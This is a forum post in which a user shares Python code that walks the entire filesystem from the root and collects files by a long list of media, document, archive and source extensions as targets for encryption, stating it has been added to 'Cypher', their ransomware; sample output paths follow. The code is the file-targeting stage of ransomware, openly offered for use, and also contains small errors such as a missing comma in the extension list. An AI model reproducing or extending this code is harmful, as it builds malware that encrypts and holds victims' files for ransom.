User Controls

Hey Lan remember how you posted a code example to help enumerating files?

  1. #1
    Sophie Pedophile Tech Support
    Apparently the endswith() method only takes three arguments so i could for instance enumerate all docx files like so:


    import os, sys

    for root, dirs, files in os.walk("/"):
    for file in files:
    if file.endswith(".docx"):
    print(os.path.join(root, file))


    Which is fine if all i want to do is encrypt docx files but it's not what i want of course within the context of the program.

    However i am able to enumerate all the files i want if i use a tuple instead like so:



    import os, sys


    ext = [".3g2", ".3gp", ".asf", ".asx", ".avi", ".flv",
    ".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
    ".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar",
    ".jpg",".jpeg",".png", ".tiff", ".zip", ".7z", ".exe",
    ".tar.gz", "tar", ".mp3", ".sh", ".c", ".h"]

    files_to_enc = []
    for root, dirs, files in os.walk("/"):
    for file in files:
    if file.endswith(tuple(ext)):
    print(os.path.join(root, file))


    Run that, i've tested it and it works.


    Here's a sample of the result if i run this little snippet on my rig.

    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/merge_config.sh
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/confdata.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/images.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/expr.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/checklist.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/menubox.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/dialog.h
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/util.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/inputbox.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/check-lxdialog.sh
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/yesno.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/kconfig/lxdialog/textbox.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/selinux/install_policy.sh
    /usr/src/linux-headers-4.2.0-36-generic/scripts/selinux/mdp/mdp.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/selinux/genheaders/genheaders.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/parse.tab.h
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/keywords.hash.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/genksyms.h
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/parse.tab.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/genksyms.c
    /usr/src/linux-headers-4.2.0-36-generic/scripts/genksyms/lex.lex.c
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/tools/calc_run_size.sh
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/purgatory/kexec-purgatory.c
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/uapi/asm/unistd_32.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/uapi/asm/unistd_64.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/uapi/asm/unistd_x32.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/dma-contiguous.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/mm-arch-hooks.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/syscalls_64.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/unistd_32_ia32.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/unistd_64_x32.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/early_ioremap.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/clkdev.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/mcs_spinlock.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/xen-hypercalls.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/cputime.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/include/generated/asm/syscalls_32.h
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/entry/syscalls/syscallhdr.sh
    /usr/src/linux-headers-4.2.0-36-generic/arch/x86/entry/syscalls/syscalltbl.sh
    /usr/src/volatility-tools/linux/module.c
    /usr/src/volatility-tools/linux/kcore/elf.h
    /usr/src/volatility-tools/linux/kcore/getkcore.h
    /usr/src/volatility-tools/linux/kcore/getkcore.c


    Thought you might be interested :) And i have updated Cypher(my ransomware accordingly.)
Jump to Top